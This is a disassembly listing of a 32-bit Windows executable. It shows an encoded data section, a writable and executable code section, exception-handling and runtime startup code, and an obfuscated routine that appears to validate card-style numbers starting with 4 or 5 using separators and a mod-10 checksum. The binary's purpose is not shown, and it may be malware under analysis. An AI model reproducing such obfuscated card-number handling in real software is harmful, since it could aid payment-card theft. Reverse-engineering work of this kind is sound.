		dd 0CF4AD24Ah, 994AB24Ah
		dd 824A884Ah, 444B604Ah, 134B1A4Bh, 0E24BF24Bh,	0C04BCE4Bh
		dd 9C4BA34Bh, 7B4B814Bh, 6C486A48h, 48485648h, 33483A48h
		dd 0EE480F48h, 0DD48E748h, 0BE48CB48h, 9C48AB48h, 38488E48h
		dd 7493149h, 0D949FE49h, 0B549C249h, 8049AF49h,	694E7B49h
		dd 564E5C4Eh, 0F64E4C4Eh, 0DD4EE94Eh, 0B84ED74Eh, 9B4EA14Eh
		dd 504E804Eh, 4D4F4A4Fh, 0A4F114Fh, 0CB4F0D4Fh,	0AE4FB44Fh
		dd 674FA14Fh, 414C584Ch, 194C354Ch, 14C124Ch, 9D4CF54Ch
		dd 834C974Ch, 5A4D764Ch, 424D5F4Dh, 0FF4D024Dh,	0B44DEB4Dh
		dd 0A34DAE4Dh, 6C427A4Dh, 50426642h, 39424F42h,	11423142h
		dd 0FD420842h, 0E342EE42h, 0DE42E442h, 0CE42D742h, 0BC42BB42h
		dd 0A142B142h, 8A429A42h, 7F428F42h, 60437043h,	55436543h
		dd 3E434E43h, 23433343h, 14432443h, 0F9430943h,	0E243F243h
		dd 0D743E743h, 0B843C843h, 0AD43BD43h, 9643A643h, 7E438B43h
		dd 63406940h, 0EC40F540h, 0C140CE40h, 9440AD40h, 77417F40h
		dd 49416D41h, 31413941h, 17412141h, 0ED41EB41h,	0CE41E541h
		dd 0B041BF41h, 0A041AA41h, 97419941h, 7D418C41h, 67467746h
		dd 50465946h, 44464E46h, 26462C46h, 9461C46h, 0F9460346h
		dd 0D046EA46h, 0C746CA46h, 0A946BD46h, 9946A346h, 88469146h
		dd 7D468446h, 6D476A47h, 50475E47h, 4C474A47h, 30473A47h
		dd 1A472B47h, 0FE471047h, 0DA47F047h, 0BA47DD47h, 9A47BD47h
		dd 7A479D47h, 67447C44h, 55445044h, 46444C44h, 2A443944h
		dd 20442F44h, 13441A44h, 6440844h, 0FD44F844h, 0C944E644h
		dd 0A444BC44h, 73448B44h, 1E457545h, 0F145FF45h, 9845D145h
		dd 7AAA7A45h, 7A78567Ah, 714A7B7Ah, 464A4C4Ah, 0F14A354Ah
		dd 0AB4AEF4Ah, 8B4A904Ah, 764A854Ah, 6C4B6B4Bh,	514B5C4Bh
		dd 434B4A4Bh, 374B3E4Bh, 124B1B4Bh, 64B144Bh, 0F54BFD4Bh
		dd 0DC4BED4Bh, 0C74BCE4Bh, 0B54BBC4Bh, 9A4BAC4Bh, 894B974Bh
		dd 794B874Bh, 6B487048h, 59486348h, 4A485048h, 3B484D48h
		dd 1E483D48h, 0C481148h, 0FC480548h, 0C048E248h, 0AA48BA48h
		dd 9748A348h, 85488248h, 0E7492748h, 9749B049h,	69498249h
		dd 0E24E3B4Eh, 0D04EDE4Eh, 0C54EC34Eh, 734EBF4Eh, 424F6A4Fh
		dd 204F444Fh, 24F084Fh,	0F74FFC4Fh, 0E64FED4Fh,	0DC4FDB4Fh
		dd 0C94FD64Fh, 0B24FC34Fh, 9C4FB44Fh, 854F834Fh, 654C7C4Fh
		dd 4F4C514Ch, 394C414Ch, 344C324Ch, 214C2C4Ch, 0F74CF84Ch
		dd 0D44CE44Ch, 0BF4CC64Ch, 0A04CA84Ch, 824C944Ch, 644D714Ch
		dd 424D5C4Dh, 334D444Dh, 104D254Dh, 0E84D0B4Dh,	0CC4DE44Dh
		dd 934DAD4Dh, 854D824Dh, 6B42714Dh, 5A426D42h, 55425F42h
		dd 2F423642h, 1C421A42h, 0F420A42h, 0F042F942h,	0D342EB42h
		dd 0C242D542h, 0AF42B442h, 82429342h, 69437642h, 42435143h
		dd 28434443h, 1E432243h, 2430B43h, 0E443F443h, 0C743DF43h
		dd 0A343A943h, 9C43A543h, 85438343h, 24402243h,	400E40h
		dd 0CD40EA40h, 0BD40BA40h, 9340A140h, 7B408A40h, 6F417141h
		dd 55416141h, 30413A41h, 10412C41h, 0F7410D41h,	0D841EE41h
		dd 0C341D241h, 0B241C541h, 0A641AC41h, 4C467141h, 1C463446h
		dd 0DD461646h, 0BF46D646h, 7946B146h, 50477347h, 8472647h
		dd 0F247F847h, 0E247EB47h, 0D447D247h, 0C747CD47h, 9847B147h
		dd 86478F47h, 6E447D47h, 5A446344h, 4A445344h, 38444744h
		dd 29443D44h, 24442344h, 15441944h, 440F44h, 0F1440544h
		dd 0EC44EB44h, 0DD44E144h, 0C844D744h, 0BC44CD44h, 0AB44B644h
		dd 42454844h, 30453E45h, 1B452E45h, 0C451745h, 0F7450745h
		dd 0CD45E745h, 0B645BF45h, 0A545A245h, 80459545h, 7A9A7A45h
		dd 7A7AB67Ah, 664A7B7Ah, 4E4A544Ah, 324A414Ah, 294A344Ah
		dd 1D4A274Ah, 0C4A144Ah, 0F54A044Ah, 0CA4AD84Ah, 0B24ACC4Ah
		dd 0A14AAF4Ah, 8C4A9C4Ah, 714A814Ah, 584B6C4Bh,	484B524Bh
		dd 394B464Bh, 2F4B354Bh, 1D4B1B4Bh, 0F34B0B4Bh,	0E34BF54Bh
		dd 0BC4BE44Bh, 0A54BAB4Bh, 914B9F4Bh, 844B8E4Bh, 5748794Bh
		dd 44484D48h, 2A483F48h, 0D482448h, 0E5480748h,	0A048D648h
		dd 8D489B48h, 69497748h, 4A495349h, 491049h, 0E749F349h
		dd 0C949D449h, 0B849C349h, 0A849B349h, 9649AD49h, 78498849h
		dd 5C4E6E4Eh, 0D04EDB4Eh, 0C04EC94Eh, 874E824Eh, 784F794Eh
		dd 604C744Ch, 484C5C4Ch, 304C444Ch, 184C2C4Ch, 4C144Ch
		dd 6BFA7A4Ch, 7A7A3A7Ah, 0D24A7A7Ah, 0CA48D648h, 0C248CE48h
		dd 0BA48C648h, 0B648B248h, 0AE48AA48h, 0A648A248h, 9E489A48h
		dd 8A489648h, 82488E48h, 7A488648h, 72497E49h, 1E4E1A49h
		dd 164E124Eh, 6BDA7A4Eh, 7A7A5A7Ah, 0E24BEE7Ah,	0D64BE64Bh
		dd 0CE4BCA4Bh, 0C64BC24Bh, 0BE4BBA4Bh, 7A4BB24Bh, 3Eh dup(7A7A7A7Ah)
		dd 4CBE57Ah, 7A7A7A3Ah,	6BAA527Ah, 3 dup(7A7A7B7Ah), 6BAA4E7Ah
		dd 6BAA427Ah, 6BAA467Ah, 0B11117Ah, 5425020Ch, 7A16161Eh
		dd 7A3D177Ah, 6BAA3A7Ah, 7A7A7A7Ah, 1336257Ah, 131B3718h
		dd 7A4A3A14h, 6Dh dup(7A7A7A7Ah), 7Ah, 24h dup(0)
		dd 7EB19F00h, 40h, 11D02800h, 3	dup(100h), 11D03400h, 11D03800h
		dd 11D03C00h, 716B6B00h, 2E5F7876h, 6C6C64h, 476D00h, 11D04000h
		dd 0
		dd 694C5F00h, 69614D62h, 30406Eh, 46h dup(0)
		dd 3900h dup(?)
_data		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 00038000)
; Virtual size			: 00116068 (1138792.)
; Section size in file		: 0000D684 (  54916.)
; Offset to raw	data for section: 00015A00
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 438000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_438006:				; DATA XREF: sub_438026+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_438025
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_438025:				; CODE XREF: .text:00438014j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_438026	proc near		; CODE XREF: .text:0043814Ep
					; .text:0043817Cp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_438006
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_438043:				; CODE XREF: sub_438026+44j
					; sub_438026+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_438072
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_438072
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_438043
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_438043
; ---------------------------------------------------------------------------


loc_438072:				; CODE XREF: sub_438026+2Aj
					; sub_438026+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_438026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438080	proc near		; CODE XREF: .text:00438141p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_438098
		push	[ebp+arg_0]
		call	sub_445618


loc_438098:				; DATA XREF: sub_438080+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_438080	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_438175
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4380D3:				; CODE XREF: .text:0043816Cj
		cmp	esi, 0FFFFFFFFh
		jz	loc_438184
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_438163
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_54F034, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword_54F038, eax
		mov	eax, [edx+4]
		mov	dword_54F03C, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_54F040
		mov	esi, dword_54F038
		rep movsd
		lea	edi, dword_54F040
		mov	dword_54F038, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_438163
		js	short loc_438171
		mov	edi, [ebx+8]
		push	ebx
		call	sub_438080
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_438026
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_438163:				; CODE XREF: .text:004380E4j
					; .text:00438139j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4380D3
; ---------------------------------------------------------------------------


loc_438171:				; CODE XREF: .text:0043813Bj
		xor	eax, eax
		jmp	short loc_43818E
; ---------------------------------------------------------------------------


loc_438175:				; CODE XREF: .text:004380B8j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_438026
		add	esp, 0Ch


loc_438184:				; CODE XREF: .text:004380D6j
		push	0Bh
		call	sub_445660
		add	esp, 4


loc_43818E:				; CODE XREF: .text:00438173j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_4381A7
		call	sub_4381C3


loc_4381A7:				; CODE XREF: .text:004381A0j
		call	sub_4455A3
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, off_54F000
		call	eax ; sub_445578
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4381C3	proc near		; CODE XREF: .text:004381A2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_445630
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_445630
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_445630
		mov	[ebp+var_C], eax
		push	(offset	aWr+2)
		push	[ebp+var_8]
		call	sub_445624
		mov	dword_54F008, eax
		push	offset aWr	; "wr"
		push	[ebp+var_4]
		call	sub_445624
		mov	dword_54F004, eax
		push	offset aWr	; "wr"
		push	[ebp+var_C]
		call	sub_445624
		add	esp, 30h
		mov	dword_54F00C, eax
		mov	edi, dword_54F004
		or	edi, edi
		jz	short loc_43823C
		push	0
		push	edi
		call	sub_44566C
		add	esp, 8


loc_43823C:				; CODE XREF: sub_4381C3+6Cj
		mov	edi, dword_54F00C
		or	edi, edi
		jz	short loc_438256
		push	0
		push	edi
		call	sub_44566C
		add	esp, 8
		call	sub_43825C


loc_438256:				; CODE XREF: sub_4381C3+81j
		pop	edi
		leave
		retn
sub_4381C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43825C	proc near		; CODE XREF: sub_4381C3+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_44560C
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_438294
; ---------------------------------------------------------------------------


loc_438278:				; CODE XREF: sub_43825C+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_438280
		inc	[ebp+var_C]


loc_438280:				; CODE XREF: sub_43825C+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_438294:				; CODE XREF: sub_43825C+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_438278
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_445654
		pop	ecx
		mov	[ebp+var_8], eax
		mov	dword_54F010, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4382C2
		xor	eax, eax
		jmp	short loc_43831F
; ---------------------------------------------------------------------------


loc_4382C2:				; CODE XREF: sub_43825C+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_43830C
; ---------------------------------------------------------------------------


loc_4382C7:				; CODE XREF: sub_43825C+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_438306
		push	[ebp+var_4]
		call	sub_445654
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_4382F4
		jmp	short loc_43831F
; ---------------------------------------------------------------------------


loc_4382F4:				; CODE XREF: sub_43825C+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_445678
		add	esp, 8
		add	[ebp+var_8], 4


loc_438306:				; CODE XREF: sub_43825C+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43830C:				; CODE XREF: sub_43825C+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4382C7
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_43831F:				; CODE XREF: sub_43825C+64j
					; sub_43825C+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43825C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438324	proc near		; CODE XREF: sub_44296E+C33p

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_154		= byte ptr -154h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10A		= byte ptr -10Ah
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_101		= byte ptr -101h
var_FF		= byte ptr -0FFh
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_F8		= byte ptr -0F8h
var_F7		= byte ptr -0F7h
var_F6		= byte ptr -0F6h
var_F5		= byte ptr -0F5h
var_F3		= byte ptr -0F3h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_439466
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_43834B
		cmp	al, 35h
		jnz	loc_439466


loc_43834B:				; CODE XREF: sub_438324+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_438353:				; CODE XREF: sub_438324+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_438353
		mov	[ebp+var_128], eax
		mov	edx, dword_54F16C
		add	edx, 4
		add	edx, dword_54F174
		cmp	eax, edx
		jz	short loc_438384
		mov	edx, dword_54F0A4
		add	edx, 0Ch
		cmp	eax, edx
		jnz	loc_439466


loc_438384:				; CODE XREF: sub_438324+4Dj
		movsx	ebx, word_54F094
		sub	ebx, 2
		jmp	short loc_4383B4
; ---------------------------------------------------------------------------


loc_438390:				; CODE XREF: sub_438324+A0j
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:dword_4CA550[edx], eax
		jz	loc_439466
		inc	ebx


loc_4383B4:				; CODE XREF: sub_438324+6Aj
		mov	eax, dword_54F090
		add	eax, 5Ch
		add	eax, dword_54F19C
		cmp	ebx, eax
		jb	short loc_438390
		mov	eax, dword_54F1FC
		add	eax, 13h
		cmp	[ebp+var_128], eax
		jnz	loc_43859A
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_4383EC
		cmp	al, 20h
		jnz	loc_439466


loc_4383EC:				; CODE XREF: sub_438324+BEj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_4383FE
		cmp	al, 20h
		jnz	loc_439466


loc_4383FE:				; CODE XREF: sub_438324+D0j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_438410
		cmp	al, 20h
		jnz	loc_439466


loc_438410:				; CODE XREF: sub_438324+E2j
		mov	eax, dword_54F140
		add	eax, 0Ch
		movsx	edx, word_54F208
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_54F144
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_FC], dl
		mov	eax, dword_54F180
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F7], dl
		mov	eax, dword_54F1DC
		add	eax, 7
		movsx	edx, word_54F0C4
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_54F11C
		add	eax, dword_54F170
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_54F120
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FB], dl
		movsx	eax, word_54F0A8
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_F5], dl
		movsx	eax, word_54F13C
		movsx	edx, word_54F218
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	[ebp+eax+var_103], dl
		mov	eax, dword_54F0E0
		movsx	edx, word_54F0B4
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_10A], dl
		mov	eax, dword_54F1B4
		movsx	edx, word_54F128
		sub	edx, 5
		mov	[ebp+eax+var_F3], dl
		mov	eax, dword_54F1AC
		add	eax, dword_54F0C8
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_54F090
		add	eax, 4
		movsx	edx, word_54F198
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_54F1BC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_F6], dl
		mov	eax, dword_54F20C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_54F1AC
		movsx	edx, word_54F210
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_104], dl
		movsx	eax, word_54F144
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_F8], dl
		mov	eax, dword_54F1EC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+1]
		mov	[ebp+eax+var_101], dl
		jmp	short loc_4385A9
; ---------------------------------------------------------------------------


loc_43859A:				; CODE XREF: sub_438324+B0j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4455D4


loc_4385A9:				; CODE XREF: sub_438324+274j
		mov	esi, dword_54F18C
		dec	esi
		jmp	short loc_4385C7
; ---------------------------------------------------------------------------


loc_4385B2:				; CODE XREF: sub_438324+2B6j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_4385C1
		cmp	al, 39h
		jle	short loc_4385C6


loc_4385C1:				; CODE XREF: sub_438324+297j
		jmp	loc_439466
; ---------------------------------------------------------------------------


loc_4385C6:				; CODE XREF: sub_438324+29Bj
		inc	esi


loc_4385C7:				; CODE XREF: sub_438324+28Cj
		mov	eax, dword_54F154
		add	eax, 3
		movsx	edx, word_54F128
		add	eax, edx
		cmp	esi, eax
		jb	short loc_4385B2
		mov	eax, dword_54F0AC
		sub	eax, 7
		mov	[ebp+var_108], eax
		mov	esi, dword_54F1FC
		jmp	short loc_438638
; ---------------------------------------------------------------------------


loc_4385F2:				; CODE XREF: sub_438324+31Ej
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		mov	edx, dword_54F0C8
		inc	edx
		imul	eax, edx
		add	[ebp+var_108], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_438625
		mov	eax, dword_54F160
		add	eax, 2
		sub	[ebp+var_108], eax


loc_438625:				; CODE XREF: sub_438324+2F1j
		mov	eax, dword_54F170
		movsx	edx, word_54F0C4
		add	eax, edx
		sub	eax, 8
		add	esi, eax


loc_438638:				; CODE XREF: sub_438324+2CCj
		mov	eax, dword_54F0BC
		add	eax, 10h
		cmp	esi, eax
		jb	short loc_4385F2
		mov	eax, dword_54F220
		mov	ebx, eax
		add	ebx, dword_54F154
		sub	ebx, 9
		jmp	short loc_438671
; ---------------------------------------------------------------------------


loc_438656:				; CODE XREF: sub_438324+360j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp+var_108], eax
		movsx	eax, word_54F0CC
		inc	eax
		add	ebx, eax


loc_438671:				; CODE XREF: sub_438324+330j
		movsx	eax, word_54F198
		mov	edx, dword_54F228
		lea	eax, [eax+edx+7]
		cmp	ebx, eax
		jb	short loc_438656
		mov	eax, [ebp+var_108]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	edi, dword_54F238
		movsx	ebx, word_54F0F4
		add	edi, ebx
		sub	edi, 2
		cmp	edx, edi
		jnz	loc_439466
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_54CA74
		pop	ecx
		or	eax, eax
		jnz	loc_439466
		mov	esi, dword_54F1E0
		sub	esi, 4
		mov	esi, dword_54F238
		jmp	short loc_438701
; ---------------------------------------------------------------------------


loc_4386D6:				; CODE XREF: sub_438324+3E9j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		mov	eax, dword_54F140
		add	eax, dword_54F150
		sub	eax, 5
		mov	edx, [ebp+var_264]
		cmp	ds:dword_4CA550[edx], eax
		jz	short loc_43870F
		inc	esi


loc_438701:				; CODE XREF: sub_438324+3B0j
		movsx	eax, word_54F1A4
		add	eax, 5Eh
		cmp	esi, eax
		jb	short loc_4386D6


loc_43870F:				; CODE XREF: sub_438324+3DAj
		movsx	eax, word_54F138
		mov	edx, dword_54F22C
		lea	eax, [eax+edx+5Ah]
		cmp	esi, eax
		jz	loc_439466
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:dword_4CA550[edx], eax
		push	offset byte_5509B1
		call	sub_43AAF7
		pop	ecx
		mov	edi, dword_54F0AC
		movsx	ebx, word_54F1C4
		add	edi, ebx
		sub	edi, 0Fh
		push	edi
		push	eax
		movsx	edi, word_54F210
		sub	edi, 5
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_50C930
		mov	[ebp+var_134], eax
		mov	ecx, dword_54F1F8
		sub	ecx, 3
		cmp	eax, ecx
		jnz	short loc_438794
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_438794:				; CODE XREF: sub_438324+465j
		push	offset dword_5509A4
		call	sub_43AAF7
		push	eax
		push	[ebp+var_134]
		call	sub_443A79
		mov	[ebp+var_12C], eax
		push	offset dword_550998
		call	sub_43AAF7
		push	eax
		push	[ebp+var_12C]
		call	sub_443A79
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:dword_4CA554[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	ds:dword_4CA554[eax]
		call	ds:dword_54C958
		mov	eax, dword_54F1D0
		sub	eax, 7
		push	eax
		call	ds:dword_449598
		mov	[ebp-10Ch], eax
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	ds:dword_54C950
		push	offset word_55098E
		call	sub_43AAF7
		add	esp, 1Ch
		mov	edi, dword_54F1C0
		dec	edi
		push	edi
		push	dword ptr [ebp-10Ch]
		movsx	edi, word_54F194
		movsx	ebx, word_54F1F0
		add	edi, ebx
		sub	edi, 7
		push	edi
		push	[ebp+var_12C]
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
